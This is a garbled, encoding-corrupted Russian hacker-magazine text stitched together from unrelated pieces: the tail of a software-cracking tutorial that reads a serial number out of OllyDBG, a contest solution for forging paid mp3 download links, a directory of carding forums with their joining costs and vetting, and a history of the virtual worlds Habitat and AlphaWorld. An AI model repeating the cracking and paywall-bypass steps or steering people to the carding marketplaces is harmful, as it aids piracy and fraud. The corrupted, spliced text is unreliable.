öèè lstrcmpA ïðîèçâîäèòñÿ ñðàâíåíèå åãî çíà÷åíèÿ ñ ñåðèéíèêîì, êîòîðûé
ââåë ïîëüçîâàòåëü. ×òîáû íå çàñòàâëÿòü ïîëüçîâàòåëÿ âðó÷íóþ ïðîñìàòðè-
âàòü çíà÷åíèå, ðàñïîëîæåííîå ïî àäðåñó 00403284, OllyDBG ëþáåçíî âû-
âåë åãî ñïðàâà â êîììåíòàðèÿõ. «LMXI» � ýòî è åñòü ïðàâèëüíûé ðåãèñòðà-
öèîííûé íîìåð äëÿ èìåíè «step». Ìîæåøü ýòî ïðîâåðèòü :).

[ýòî íå êîíåö] Åñòåñòâåííî, ìû ðàññìîòðåëè ñàìûå ïðèìèòèâíûå òèïû
çàùèò. Îäíàêî äàæå ýòèõ îñíîâ ïîðîé äîñòàòî÷íî, ÷òîáû âçëîìàòü ïëîõî
çàùèùåííûå ïðîãðàììû. Íàäåþñü, òû óáåäèëñÿ, ÷òî äëÿ ýòîãî ñîâåðøåí-
íî íå îáÿçàòåëüíî èäåàëüíî âëàäåòü àññåìáëåðîì. Â áîëüøèíñòâå ñëó÷àåâ

âïîëíå äîñòàòî÷íî çíàíèÿ àçîâ è
ðàáîòàþùèõ èçâèëèí â ãîëîâå. Åñëè
òåáå èíòåðåñíà òåìà âçëîìà ïðî-
ãðàìì � ïèøè. È ìû îáÿçàòåëüíî
ðàññêàæåì òåáå î òîì, êàê âçëîìàòü
áîëåå ñëîæíûå çàùèòû è óïàêîâàí-
íûå ïðîãðàììû, êàê îáîéòè àíòèîò-
ëàäî÷íûå ïðèåìû ïðîãðàììèñòîâ è
ìíîãîå äðóãîå 
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OllyDBG ïî óìîë÷àíèþ íå ïîääåð-
æèâàåò êîìàíäíóþ ñòðîêó. Ïðè-
äåòñÿ ïîäêëþ÷èòü ïëàãèí CmdLine
(www.ollydbg.de)

ñðàáîòàëà òî÷êà îñòàíîâà!

íàãè � ýòî íàçîéëèâûå âñïëûâàþùèå îêîøêè, êîòîðûå ïðèñóùå ìíîæå-
ñòâó êîììåð÷åñêèõ ïðîãðàìì

ñïèñîê áðåéêïîèíòîâ
ñòàíäàðòíàÿ çàùèòà: ðåãèñòðàöèîííûé íîìåð
çàâèñèò îò ïîëüçîâàòåëüñêîãî èìåíè
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Â ïðåäûäóùåì êîíêóðñå òåáå íà-

äî áûëî êóïèòü õèòðûì ñïîñîáîì

mp3-ìóçûêó. Ýòî ìîæíî áûëî

ñäåëàòü äâóìÿ ñïîñîáàìè. Ïåðå-

âåñòè íà êîøåëåê 40 wmz èëè ïî-

ðàáîòàòü ãîëîâîé. Åñëè ïîðàáî-

òàòü ãîëîâîé, òî íàäî áûëî ñäå-

ëàòü ñëåäóþùåå. Êîãäà òû ðåãè-

ñòðèðóåøüñÿ íà ñàéòå, òî òåáå

ñòàíîâèòñÿ äîñòóïåí îäèí áåñï-

ëàòíûé mp3-òðåê, êîòîðûé òû

ìîæåøü ñêà÷àòü. À òåáå íàäî

ñëèòü âòîðîé òðåê. ×òîáû åãî

ñêà÷àòü, íàäî áûëî ïîñìîòðåòü,

êàê ãåíåðèðóåòñÿ ññûëêà äëÿ

ïåðâîãî. Òóò âñå äîâîëüíî ïðîñ-

òî. Ññûëêà ñîñòîèò èç äâóõ ÷àñ-

òåé. Ïåðâàÿ ÷àñòü � òåêóùèé

÷àñ, äåíü, ãîä â ôîðìàòå, êîòî-

ðàÿ âûäàåò êîìàíäà perl�à time().

Âòîðàÿ ÷àñòü � md5_hex îò èìå-

íè ôàéëà áåç çàãîëîâêà .mp3.

Ñïëþñîâûâàåøü ðåçóëüòàò è ïî-

ëó÷àåøü ðàáî÷óþ ññûëêó. Âîò òà-

êèå äåëà. Ïîáåäèòåëÿìè ñòàëè

ñëåäóþùèå òîâàðèøè: valenok

(valenok@comtv.ru), galosha (yani-

zlo@yandex.ru) è vasiliy.

Íó, à òåïåðü î òîì, ÷òî òåáÿ æäåò â

ñëåäóþùåì ìåñÿöå. Âîò ñêàæè

ìíå, çëîóïîòðåáëÿë ëè òû êîãäà-

íèáóäü àëêîãîëåì? Äóìàþ, ÷òî áû-

âàëî òàêîå. Òåáå ëè íå çíàòü, êàê

èíîãäà áûâàåò ïëîõî ïî óòðàì ïîñ-

ëå òîãî, êàê òû âñþ íî÷ü çàæèãàë ñ

äðóçüÿìè, êîòîðûå ïî óòðó ðàññêà-

çûâàþò, ÷òî â ïüÿíîì óãàðå òû çà-

÷åì-òî ñúåë õîìÿ÷êà è äëÿ ïóùåé

âàæíîñòè ïîêàçûâàþò êðîâàâûå

îøìåòêè. Íî ýòî åùå ôèãíÿ, áûâà-

åò è òàêîå, ÷òî íå óñïåâàåøü òû

ïðèéòè â ñåáÿ è âûïèòü àñïèðèíó,

êàê ê òåáå ñ ïîâåñòêîé â àðìèþ

ïðèõîäèò ÷óõàí â ïîãîíàõ. «Âñå,

ïàðåíü, ê ïÿòè � íà ñáîðíûé ïóíêò.

Ñ âåùàìè, íî ìíîãî íå áåðè».

Ïðîáóõàë âñå ëåòî? Çàáûë ïîñòó-

ïèòü â èíñòèòóò? Ñåìü äâîåê â àò-

òåñòàòå? Îòëè÷íî. Îäíèì çàùèò-

íèêîì Ðîäèíû ñòàëî áîëüøå.

Ïåðñïåêòèâû, ñîãëàñèñü, íå èç ïðè-

ÿòíûõ. Íî íåëüçÿ îïóñêàòü ðóêè, òû

æå õàêåð! Êàê âûéòè èç çàäíèöû �

÷èòàé íà ñàéòå www.padonak.ru.

Âûéäåøü èç íåå ïåðâûì � åùå è

ïðèç ïîëó÷èøü. Òàê ÷òî êîí÷àé õà-

ëÿâèòü, ïðèøëî âðåìÿ âçëàìûâàòü! x-
co
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[ forums] Íåñìîòðÿ íà òî, ÷òî â Ñåòè ñóùåñòâóåò

âåëèêîå ìíîæåñòâî òàêèõ ôîðóìîâ, ðàçãîâîð íà

íèõ èäåò îá îäíîì è òîì æå � ëþäè îáñóæäàþò

òîíêîñòè ðåàëèçàöèè òåõíîëîãèè îáíàëè÷èâàíèÿ

áàíêîâñêèõ àêêàóíòîâ, ïðåäîñòàâëÿþùèõ ñâîèì

êëèåíòàì îíëàéí-äîñòóï ê óïðàâëåíèþ ñ÷åòîì,

ìåòîäû âûâîäà äåíåã ñ êðàäåíûõ ó÷åòíûõ çàïè-

ñåé ðàçëè÷íûõ ïëàòåæíûõ ñèñòåì, ñïîñîáû îáëà-

ïîøèâàíèÿ íàèâíûõ áóðæóåâ íà îíëàéí-àóêöèî-

íàõ ÑØÀ. Íåìàëîå êîëè÷åñòâî õàêåðîâ ïîëüçóþò-

ñÿ êàðäåðñêèìè ôîðóìàìè â êà÷åñòâå òîðãîâîé

ïëîùàäêè, íà êîòîðîé ìîæíî ñâîáîäíî ïðîäàâàòü

ñêîììóíèçæåííûå íîìåðà êðåäèòîê, ïàðîëè îò

âåñüìà öåííûõ àêêîâ àóêöèîíà ebay è ïðî÷èå ïëî-

äû êðèìèíàëüíîé êèáåð-äåÿòåëüíîñòè. Ïðàêòè-

÷åñêè íà âñåõ òàêèõ ôîðóìàõ ìîæíî âñòðåòèòü

îáúÿâëåíèÿ î ïðåäîñòàâëåíèè ñïàìåðñêèõ óñëóã,

ïðèâàòíûõ ïðîêñè-, VPN- è DDoS-cåðâèñàõ.

Ïî áîëüøîìó ñ÷åòó, âñå êàðäåðñêèå ôîðóìû ìîæ-

íî ðàçäåëèòü íà äâå êàòåãîðèè: ïðèâàòíûå è ïóá-

ëè÷íûå. ×òîáû ÷èòàòü èëè ñîçäàâàòü òîïèêè íà

public-ôîðóìàõ êàðäèîëîãîâ, äîñòàòî÷íî ëèøü çà-

ðåãèñòðèðîâàòüñÿ òàì. Äóìàþ, òû ïðåêðàñíî ïîíè-

ìàåøü, ÷òî êèäàëàì íè÷åãî íå ìåøàåò ïðîäàâàòü

òàì ñâîè íåñóùåñòâóþùèå òîâàðû, à äèëåòàíòàì

çàñîðÿòü ôîðóì òóïûìè âîïðîñàìè è àáñóðäíûìè

ïðåäëîæåíèÿìè. ×òîáû îãðàäèòü ñåáÿ îò ðèïïåðîâ

è ëàìåðîâ, êàðäåðñêàÿ ýëèòà îñíîâûâàåò ÷àñòíûå

ôîðóìû, íà êîòîðûå ïîïàñòü ïðîñòîìó ñìåðòíîìó

ïðîñòî íåâîçìîæíî.

WHERE
TO GO?

ÊÀÊ ÈÇÂÅÑÒÍÎ, Â ÑÅÒÈ ÌÎÆÍÎ
ÍÀÉÒÈ ÔÎÐÓÌ ÏÎ ËÞÁÎÌÓ ÈÍÒÅ-
ÐÅÑÓÞÙÅÌÓ ÂÎÏÐÎÑÓ. ÄÀÆÅ ÔÀ-
ÍÀÒÛ ÐÀÇÂÅÄÅÍÈß ÌÀËÅÍÜÊÈÕ
ÏÀÓ×ÊÎÂ-ÊÐÅÑÒÎÂÈ×ÊÎÂ È ÒÎ
ÈÌÅÞÒ ÊÓ×Ó ÏÎÑÒÎÂ ÏÎ ÈÍÒÅÐÅ-
ÑÀÌ. ÊÎÍÅ×ÍÎ, È ÊÀÐÄÅÐÛ ÍÅ
ÑÒÀËÈ ÈÑÊËÞ×ÅÍÈÅÌ. Î ÒÎÌ, 
ÊÀÊ È ÃÄÅ ÏÐÅÄÑÒÀÂÈÒÅËÈ ÝÒÎÉ
ÏÐÎÔÅÑÑÈÈ ÎÁÌÅÍÈÂÀÞÒÑß ÈÍ-
ÔÎÐÌÀÖÈÅÉ È ÄÅËÀÞÒ ÑÂÎÈ ÄÅËÀ
È ÏÎÉÄÅÒ ÐÅ×Ü Â ÝÒÎÉ ÑÒÀÒÜÅ |
NSD (nsd@nsd.ru)

Êàðäèíã-ôôîðóìû
ÃÄÅ ÏÐÎÄÀÒÜ 
È ÊÓÏÈÒÜ ÑÒÀÔÔ
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[ russia ] ßðêèì ïðèìåðîì ïóáëè÷íîãî ðóññêîÿçû÷-

íîãî ôîðóìà ÿâëÿåòñÿ www.mazafaka.cc. Ìîæíî ñ

óâåðåííîñòüþ ñêàçàòü, ÷òî ïî êîëè÷åñòâó ó÷àñòíè-

êîâ, à ñëåäîâàòåëüíî è ïî èíôîðìàöèîííîé íàñû-

ùåííîñòè, îí ÿâëÿåòñÿ íåñîìíåííûì ëèäåðîì. Åñ-

ëè ïîòåíöèàëüíûé ìåìáåð õî÷åò ðàçìåñòèòü îáúÿâ-

ëåíèå ðåêëàìíîãî õàðàêòåðà, åìó ïðèäåòñÿ ñíà÷àëà

ðàñêîøåëèòüñÿ � îáúÿâà ñòîèò äåíåã. Ïîñëå òîãî,

êàê ñåëëåð îïëàòèò îïðåäåëåííóþ ñóììó â ôîíä

ôîðóìà (íà ìàçàôàêå ýòî ñòîèò 100�150$), ïðåäñ-

òîèò ïðîéòè ïðîâåðêó êà÷åñòâà ïðåäîñòàâëÿåìûõ

óñëóã. Äëÿ ýòîãî òðåáóåòñÿ âûäàòü ìîäåðàòîðàì îï-

ðåäåëåííîå êîëè÷åñòâî òîâàðà, êîòîðîå ïëàíèðó-

åøü ïðîäàâàòü.

Ñóùåñòâóåò è åùå ïàðà ïîïóëÿðíûõ ðóññêèõ ôî-

ðóìîâ � www.thecc.su è www.cardingworld.net.

Ðàçìåùåíèå ðåêëàìû ñòîèò ïðèìåðíî ñòîëüêî

æå, êàê è íà ìàçàôàêå, íî ïðåäîñòàâëÿåìûå óñëó-

ãè ó òåáÿ òàê íå ïðîâåðÿþò.

Òåïåðü ïåðåéäåì ê ÷àñòíûì ôîðóìàì. Ñàìûé èçâå-

ñòíûé èç ðóññêîÿçû÷íûõ � www.vendorsname.ws.

Äëÿ òîãî, ÷òîáû çàðåãèñòðèðîâàòüñÿ, òàì íåîáõîäè-

ìî èìåòü äâóõ ïîðó÷èòåëåé, êîòîðûå ïîäòâåðäÿò,

÷òî òû íå ÿâëÿåøüñÿ ñîòðóäíèêîì ñïåöñëóæá èëè êè-

äàëîé. ×ëåíñòâî íà ýòîì ôîðóìå ïëàòíîå. ×òîáû

ñîñòîÿòü òàì, ïðèõîäèòñÿ îòñòåãèâàòü 20$ â ìåñÿö.

Îäíàêî ýòè îãðàíè÷åíèÿ èìåþò è ïîëîæèòåëüíóþ

ñòîðîíó � îíè ñîñðåäîòà÷èâàþò íà ñàéòå èñêëþ÷è-

òåëüíî äåëîâóþ àóäèòîðèþ. Ñòîèò îòìåòèòü, ÷òî

ðåêëàìèðîâàòü ïðåäîñòàâëÿåìûå óñëóãè ìîæíî

áåñïëàòíî.

Ñàì ïîíèìàåøü, ÷òî êàðäèíãîì çàíèìàþòñÿ íå

òîëüêî ðóññêèå. Ñëåäîâàòåëüíî, ñóùåñòâóþò è

èíîñòðàííûå ôîðóìû, òàêèå, êàê www.iaaca.com.

Ãðóáî ãîâîðÿ, IAACA � ýòî òîò æå âåíäîðñ, íî 

ñ àíãëîÿçû÷íûìè þçåðàìè
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íî âñå îíè áûëè èñêëþ÷èòåëüíî
òåêñòîâûìè. Â Habitat óïðàâëÿåìûå
ëþäüìè ïåðñîíàæè (àâàòîðû) è îê-
ðóæåíèå áûëè íàðèñîâàíû, è èãðîê
ìîã óâèäåòü âñå, ÷òî ïðîèñõîäèò, íà
ýêðàíå. Èçîáðàæåíèÿ íàïîìèíàëè
ñàìûå ïåðâûå àäâåíòþðû, è ãðàôè-
êà ñ÷èòàëàñü óñòàðåâøåé äàæå ïî
òåì âðåìåíàì. Íî ìèð îò Ëóêàñà
ìàíèë íå ãðàôè÷åñêèìè èçûñêàìè.
Habitat ñîñòîÿë èç îêîëî 20 òûñÿ÷
ëîêàöèé. Ïåðåäâèãàÿñü â ÷åòûðåõ
íàïðàâëåíèÿõ (âëåâî, âïðàâî,
ââåðõ, âíèç), è çàõîäÿ â ðàçíûå äâå-
ðè èëè ïåðåóëêè, òû ïîïàäàë â äðó-
ãèå ìåñòà, ãäå ìîã âñòðåòèòü íîâûõ
ëþäåé. Áîëüøèíñòâî ïðåäìåòîâ â
ýòîì ìèðå ÿâëÿëèñü ñòàòè÷íûìè, íî
â êàæäîé ëîêàöèè áûëè âåùè, êîòî-
ðûìè ìîæíî áûëî ìàíèïóëèðîâàòü.
Íàïðèìåð, áàíêîìàòû äàâàëè äîñ-
òóï ê áàíêîâñêîìó ñ÷åòó ïåðñîíàæà,
òîðãîâûå àâòîìàòû ïîçâîëÿëè îá-
ìåíèâàòü âèðòóàëüíûå äåíüãè íà
íåîáõîäèìûå âåùè, êîòîðûå ìîæíî
ïåðåäàâàòü äðóãèì.
Habitat áûë ìàëîèçâåñòíûì ïðîåê-
òîì, òàê ÷òî êîëè÷åñòâî æèòåëåé
ýòîãî âèðòóàëüíîãî ìèðà íå ïðåâû-
øàëî 10 òûñÿ÷ ÷åëîâåê. Êîìïàíèÿ-ðàçðàáîò÷èê ñîçäàëà âèðòóàëüíîå îê-
ðóæåíèå äëÿ èãðîêîâ, íî íå óñòàíîâèëà â íà÷àëå íèêàêèõ ïðàâèë. Ïîýòî-
ìó æèçíåííûå ïðèíöèïû ìèðà Habitat óñòàíàâëèâàëè ñàìè ãðàæäàíå. Íå-
êîòîðûå íàñòîëüêî ïðèñòðàñòèëèñü ê ñâîåìó âèðòóàëüíîìó ýãî, ÷òî âñòó-
ïàëè â æàðêèå äèñêóññèè: «ßâëÿåòñÿ ëè àâàòàð â Habitat æèâûì ñóùåñò-
âîì, èëè ýòî âñåãî ëèøü î÷åðåäíîé Pac-man?». À êîãäà ïîñëå ââåäåíèÿ â
ìèð îðóæèÿ, íà÷àëèñü îãðàáëåíèÿ è óáèéñòâà
àâàòàðîâ, ñëó÷èëñÿ íàñòîÿùèé ïåðåïîëîõ ñ òðå-
áîâàíèåì óáðàòü ñòâîëû èç êîíòåíòà. Áûëà äà-
æå ïîñòðîåíà öåðêîâü, â êîòîðîé ïåðåâîñïèòû-
âàëè íåðàäèâûõ ïðåñòóïíèêîâ.
Äëÿ ëþäåé, íàñåëÿâøèõ Habitat, íàâåðíÿêà îäíèì
èç ñàìûõ ïàìÿòíûõ ñîáûòèé áûëî ïðèîáðåòåíèå
îáû÷íûì èãðîêîì ñóïåðîðóæèÿ ãåéììàñòåðà è
ïîñëåäñòâèÿ ýòîãî. Â ïåðâîì âèðòóàëüíîì ìèðå

[Ìèð Habitat] Â 1985 ã., êîãäà ñàìûì ïîïóëÿð-
íûì äîìàøíèì êîìïüþòåðîì áûë Commodore
64, à ìîäåì íà 1200 áîä êàçàëñÿ ÷óäîì, êîìïàíèÿ
Lucasfilm Games âûïóñòèëà ïåðâûé â èñòîðèè
ãðàôè÷åñêèé ìóëüòèïîëüçîâàòåëüñêèé âèðòóàëü-
íûé ìèð Habitat. Êîíå÷íî, äî ýòîãî óæå áûëè
MUD�û � òåêñòîâûå èãðû, ãäå ëþäè ìîãëè èññëå-
äîâàòü ìèð è âçàèìîäåéñòâîâàòü äðóã ñ äðóãîì,

«ÕÎ×ÅÒÑß ÇÀÊÐÛÒÜ ÃËÀÇÀ. ÝÒÎ ÍÎÐÌÀËÜ-
ÍÎ. ÖÂÅÒÍÎÉ ÊÀËÅÉÄÎÑÊÎÏ, ÁËÅÑÒÊÈ, ÈÑÊ-
ÐßÙÈÉÑß ÇÂÅÇÄÍÛÉ ÂÈÕÐÜ � ÊÐÀÑÈÂÎ, ÍÎ
ß ÇÍÀÞ, ×ÒÎ ÑÒÎÈÒ ÇÀ ÝÒÎÉ ÊÐÀÑÎÒÎÉ. 
ÃËÓÁÈÍÀ. ÅÅ ÍÀÇÛÂÀÞÒ «ÄÈÏ», ÍÎ ÌÍÅ ÊÀ-
ÆÅÒÑß, ×ÒÎ ÏÎ-ÐÓÑÑÊÈ ÑËÎÂÎ ÇÂÓ×ÈÒ ÏÐÀ-
ÂÈËÜÍÅÅ. ÇÀÌÅÍßÅÒ ÊÐÀÑÈÂÛÉ ßÐËÛ×ÎÊ
ÏÐÅÄÓÏÐÅÆÄÅÍÈÅÌ. «ÃËÓÁÈÍÀ!» ÇÄÅÑÜ ÂÎ-
ÄßÒÑß ÀÊÓËÛ È ÑÏÐÓÒÛ. ÇÄÅÑÜ ÒÈÕÎ � 
È ÄÀÂÈÒ, ÄÀÂÈÒ, ÄÀÂÈÒ ÁÅÑÊÎÍÅ×ÍÎÅ
ÏÐÎÑÒÐÀÍÑÒÂÎ, ÊÎÒÎÐÎÃÎ ÍÀ ÑÀÌÎÌ ÄÅËÅ
ÍÅÒ. Â ÎÁÙÅÌ-ÒÎ, ÎÍÀ ÄÎÁÐÀß, ÃËÓÁÈÍÀ.
ÏÎ-ÑÂÎÅÌÓ, ÊÎÍÅ×ÍÎ. ÎÍÀ ÏÐÈÍÈÌÀÅÒ
ËÞÁÎÃÎ. ×ÒÎÁÛ ÍÛÐÍÓÒÜ, ÍÓÆÍÎ ÍÅÌÍÎ-
ÃÎ ÑÈË. ×ÒÎÁÛ ÄÎÑÒÈ×Ü ÄÍÀ È ÂÅÐÍÓÒÜÑß �
ÊÓÄÀ ÁÎËÜØÅ. Â ÏÅÐÂÓÞ Î×ÅÐÅÄÜ ÍÀÄÎ
ÏÎÌÍÈÒÜ � ÃËÓÁÈÍÀ ÌÅÐÒÂÀ ÁÅÇ ÍÀÑ. ÍÀ-
ÄÎ È ÂÅÐÈÒÜ Â ÍÅÅ, È ÍÅ ÂÅÐÈÒÜ. ÈÍÀ×Å
ÍÀÑÒÀÍÅÒ ÄÅÍÜ, ÊÎÃÄÀ ÍÅ ÓÄÀÑÒÑß ÂÛ-
ÍÛÐÍÓÒÜ» | mindw0rk (mindw0rk@gameland.ru) 
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Ôåíîìåí ActiveWorlds

òàê âûãëÿäåë ìèð
Habitat

082
www.activeworlds.com � îôè-
öèàëüíûé ñàéò Active Worlds
http://www.awcommunity.org �
AW-êîìüþíèòè
http://vrmlworks.crispen.org/
faq � îáúåìíûé FAQ ïî ÿçû-
êó VRML íà àíãëèéñêîì ÿçûêå
http://www.awcommunity.org
/awec/calendar/0705.html �
êàëåíäàðü îôèöèàëüíûõ
ýâåíòîâ â ìèðàõ AW
http://mauz.info/index.html �
ïîçíàâàòåëüíàÿ ôàí-ñòðà-
íè÷êà ïî Active Worlds
http://www.there.com � ïî-
ïóëÿðíûé ìèð There, íå óñ-
òóïàþùèé Second Life
http://cybertown.com �
ñòàðåíüêèé, íî âñå åùå ïî-
ïóëÿðíûé ìèð Cybertown
http://activeworlds.ru/down-
loads/activeworlds.ru.exe �
áðàóçåð äëÿ ðóññêèõ ìèðîâ
http://activeworlds.ru/board
m.php?did=edge0 � ðóñ-
ñêèé ôîðóì ïî AW
www.aw.ru � ñòðàíè÷êà 
î ðóññêèõ Active Worlds.



ïðåäëîæèëè âûêóïèòü ïóøêó çà 10 òûñÿ÷ òîêåíîâ � îãðîìíûå ïî ìåðêàì
Habitat äåíüãè. Ñäåëêà ñîñòîÿëàñü ïðè ñîòíÿõ ñâèäåòåëÿõ è ýòî ñîáûòèå áû-
ëî íåñêîëüêî íåäåëü òåìîé íîìåð îäèí äëÿ îáñóæäåíèÿ ñðåäè âñåõ ãðàæäàí.
Êîíå÷íî, ãðàôèêà è âîçìîæíîñòè Habitat áûëè ïðèìèòèâíû, íî òâîðåíèå
LucasFilm Games ïîäàëî ïðèìåð äëÿ äðóãèõ ðàçðàáîò÷èêîâ. È íåñêîëüêî
ëåò ñïóñòÿ, ïîäîáíûå ìèðû ñòàëè ïîÿâëÿòüñÿ îäèí çà äðóãèì.

[AlphaWorld] Â 1992 ã. Íèë Ñòåôåíñîí íàïèñàë êîìïüþòåðíóþ ïîâåñòü
«Snowcrash», ñîáûòèÿ êîòîðîé ðàçâîðà÷èâàþòñÿ â âèðòóàëüíîì ìèðå «the
Metaverse», à ãëàâíûì ãåðîåì ÿâëÿåòñÿ õàêåð ïî èìåíè Hiro Protagonist. Ðîâíî
÷åðåç 2 ãîäà, âäîõíîâ-
ëåííûé ýòîé êíèãîé, íå-
êèé Ðîí Áðèòâè÷ ñîçäàë
WebWorld, ïåðâûé 2.5-
ìåðíûé ìèð, ðàññ÷èòàí-
íûé íà äåñÿòêè òûñÿ÷
ëþäåé è ðàáîòàþùèé íà
êîìïüþòåðàõ êîìïàíèè
Peregrine Systems. Îä-
íèì èç ïîñòîÿííûõ æè-
òåëåé WebWorld ñòàë îñ-
íîâàòåëü Peregrine Êðèñ
Êîóë. Èäåÿ íàñòîëüêî
åìó ïîíðàâèëàñü, ÷òî îí

ñàìûì îïàñíûì ìåñòîì
áûëî ëîãîâî ïîä íàçâà-
íèåì «Ñìåðòü è òåíè»,
ïåðåä âõîäîì â êîòîðîå
íàõîäèëàñü òàáëè÷êà:
«Îïàñíî! Çàéäÿ ñþäà,
òû ïîäâåðãàåøü ñåáÿ
áîëüøîìó ðèñêó». Ëî-
ãîâî ïðåäñòàâëÿëî ñî-
áîé áîëüøîé ëàáèðèíò,
â êîòîðîì íàõîäèëàñü
ïàðà ñèñòåìíûõ îïåðà-
òîðîâ, âîîðóæåííûõ

ñïåöèàëüíûì îðóæèåì. Èõ ïèñòîëåòû óáèâàëè ëþáîãî ïåðñîíàæà ñ îäíîãî
âûñòðåëà (â îòëè÷èå îò îáû÷íûõ ïóøåê, êîòîðûå ìîãëè óáèòü ðàçà ñ 12-ãî) è
ñêèïåòðàìè, ïîçâîëÿþùèìè ìîìåíòàëüíî âûëå÷èòü ëþáûå ðàíåíèÿ. Òàêèì
îáðàçîì, àäìèíû áûëè ïðàêòè÷åñêè íåóáèâàåìû è íîñèëèñü ïî ëàáèðèíòó,
âûèñêèâàÿ àâàòîðîâ èãðîêîâ è îòïðàâëÿÿ èõ íà òîò ñâåò. Îäíàæäû àäìèí çà-
ëîãèíèëñÿ â ìèð è îêàçàëñÿ ïîñðåäè íåñêîëüêèõ èãðîêîâ, êîòîðûå òóò æå ñòà-
ëè â íåãî ïàëèòü èç âñåõ ñòâîëîâ. Îí òî ëè íå óñïåë âîñïîëüçîâàòüñÿ ñêèïåò-
ðîì, òî ëè çàáûë� â îáùåì, åãî â èòîãå ïðèêîí÷èëè. À óïàâøåå ñ òåëà ñïå-
öèàëüíîå îðóæèå ïîäîáðàë îáû÷íûé èãðîê. Âëàäåòü òàêèì ïðåäìåòîì åìó ïî
ïðàâèëàì íå ïîëàãàëîñü, íî êîãäà àäìèíû ïîòðåáîâàëè ñäàòü åãî, ïàðåíü
âïîëíå çäðàâî îáúÿñíèë, ÷òî ïîëó÷èë âåùü ÷åñòíûì ïóòåì. Òîãäà àäìèíû

îäèí èç ïåðâûõ ñêðèíøîòîâ AlphaWorld

òèõèé óãîëîê Øåðâóäñêîãî ëåñà

| VVRML || 
Active Worlds ðàáîòàþò íà îñíîâå ÿçûêà
VRML (ÿçûê ìîäåëèðîâàíèÿ âèðòóàëü-
íîé ðåàëüíîñòè). Äëÿ ïóòåøåñòâèÿ â ìè-
ðàõ íóæíî ñêà÷àòü ñïåöèàëüíûé VRML-
áðàóçåð èëè VRML-ïëàãèí äëÿ òâîåé
îïåðû èëè IE, à òàêæå ôàéëèê ñ ðàñøè-
ðåíèåì .wrl, ÿâëÿþùèéñÿ ñîáñòâåííî îä-
íèì èç ìèðîâ. VRML � ýòî òåêñòîâûé
ôîðìàò, â êîòîðîì ñ ïîìîùüþ òåêñòî-
âûõ ñòðîê ìîæíî îáîçíà÷èòü ðàçíûå
âåêòîðíûå îáúåêòû, çàäàòü èì ôîðìó,
öâåò, ðàçìåð, âûáðàòü òåêñòóðó. Â ôàé-
ëå .wrl çàäàíî ìíîæåñòâî òàêèõ îáúåê-
òîâ, è çàéäÿ â ìèð, òû óâèäèøü âñå òî,

÷òî ïîñòðîèë åãî àâòîð. Ïîìèìî ñòàòè÷-
íûõ îáúåêòîâ, âíóòðè ìîãóò áûòü ðàçíûå
ñêðèïòû, êîòîðûå íàñûùàþò ìèð ñîáû-
òèÿìè. VRML � ýòî íå ÿçûê ïðîãðàììè-
ðîâàíèÿ òèïà C++, ýòî èíñòðóìåíò äëÿ
îïèñàíèÿ òðåõìåðíûõ ñöåí, â ýòîì îí
íàïîìèíàåò HTML. Òàê êàê .wrl � ýòî
òåêñòîâûé ôîðìàò, òû ìîæåøü ñîçäàòü
ñâîé ìèð â îáû÷íîì òåêñòîâîì ðåäàêòî-
ðå. Ìíîãèå ñòðîèòåëè ìèðîâ, âïðî÷åì,
ïðåäïî÷èòàþò ïîëüçîâàòüñÿ ñïåöèàëü-
íûìè ïðîãðàììàìè, êîòîðûå ïîçâîëÿþò
ñôîêóñèðîâàòü óñèëèÿ íà íàïîëíåíèè
ìèðà, à íå íà ñèíòàêñèñå ÿçûêà.
Âïåðâûå ôîðìàò VRML 1.0 ïîÿâèëñÿ â

1994 ã. êàê òðåõìåðíàÿ àëüòåðíàòèâà
âåá-ñòðàíèöàì è WebWorld ñòàë ïåðâûì
ïðîåêòîì, â êîòîðîì îí èñïîëüçîâàëñÿ.
Â äåêàáðå 1997 ã. âûøëà íîâàÿ, îïòèìè-
çèðîâàííàÿ âåðñèÿ ÿçûêà VRML97, êîòî-
ðûé ïîçâîëèë ñîçäàâàòü áîëåå «æèâûå»
ìèðû è ñòàë ñòàíäàðòîì ïî ñåé äåíü.
Ñåé÷àñ óæå ñóùåñòâóåò íîâûé ôîðìàò,
ñîâìåñòèìûé ñ VRML � X3D (Extensible
3D), âêëþ÷àþùèé áûñòðûé 3d-äâèæîê,
íåçàâèñÿùèé îò ïëàòôîðìû ôîðìàò
ôàéëîâ, óñîâåðøåíñòâîâàííóþ èíòåãðà-
öèþ XML. Îí áîëåå ïðîäâèíóòûé è ãèá-
êèé, ÷åì VRML, íî ïîêà åùå íå ïîëó÷èë
áîëüøîãî ðàñïðîñòðàíåíèÿ.
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ðåøèë îñòàâèòü ñâîé
áèçíåñ è âìåñòå ñ ïðèÿ-
òåëÿìè Äýéâîì Ãîáåëîì
è Êîóëîì Ëàðñåíîì,
òàêæå ðàáîòàþùèìè â
êîìïüþòåðíîé ñôåðå,
îñíîâàòü êîìïàíèþ, çà-
íèìàþùóþñÿ ðàçðàáîò-
êîé âèðòóàëüíûõ ìèðîâ.
Òàê ïîÿâèëàñü Know-
ledge Adventure Worlds,
÷åðåç íåñêîëüêî ìåñÿ-
öåâ ïåðåèìåíîâàííàÿ â
Worlds Inc. Ê êîìïàíèè
âñêîðå ïðèñîåäèíèëèñü
Ðîí Áðèòâè÷ è äðóãèå
âåäóùèå èññëåäîâàòåëè â ýòîé îáëàñòè. À ïåðâûì ïðîåêòîì, ñòàðòîâàâøèì â
ñòåíàõ KAW, ñòàë AlphaWorld. 28 èþíÿ 1995 ã. ñîñòîÿëñÿ îôèöèàëüíûé ðåëèç
ñàìîé ïåðâîé âåðñèè AlphaWorld. Ïåðâûì «ãðàæäàíèíîì» ìèðà ñòàë Áðèò-
âè÷, à óæå ÷åðåç íåñêîëüêî ÷àñîâ ïîñëå çàïóñêà, AlphaWorld ñòàëè çàñåëÿò
äðóãèå ëþäè, òàê èëè èíà÷å óçíàâøèå î ïðîåêòå. Îêðóæåíèå òåïåðü áûëî
ïñåâäîòðåõìåðíûì, þçåðû ïîëó÷èëè íàìíîãî áîëüøóþ ñâîáîäó, ÷åì â òîì
æå Habitat. Ãðàæäàíå ìèðà ìîãëè ñìîòðåòü èç ãëàç ñâîåãî àâàòàðà èëè â
ïåðñïåêòèâå îò òðåòüåãî ëèöà.
Íà ïðîòÿæåíèå ñëåäóþùèõ ìåñÿöåâ èãðó äîðàáàòûâàëè è íàïîëíÿëè äåñÿ-
òè ñîòðóäíèêîâ Worlds Inc., è ê ìàðòó 1996 ã. ÷èñëî çàðåãèñòðèðîâàííûõ æè-
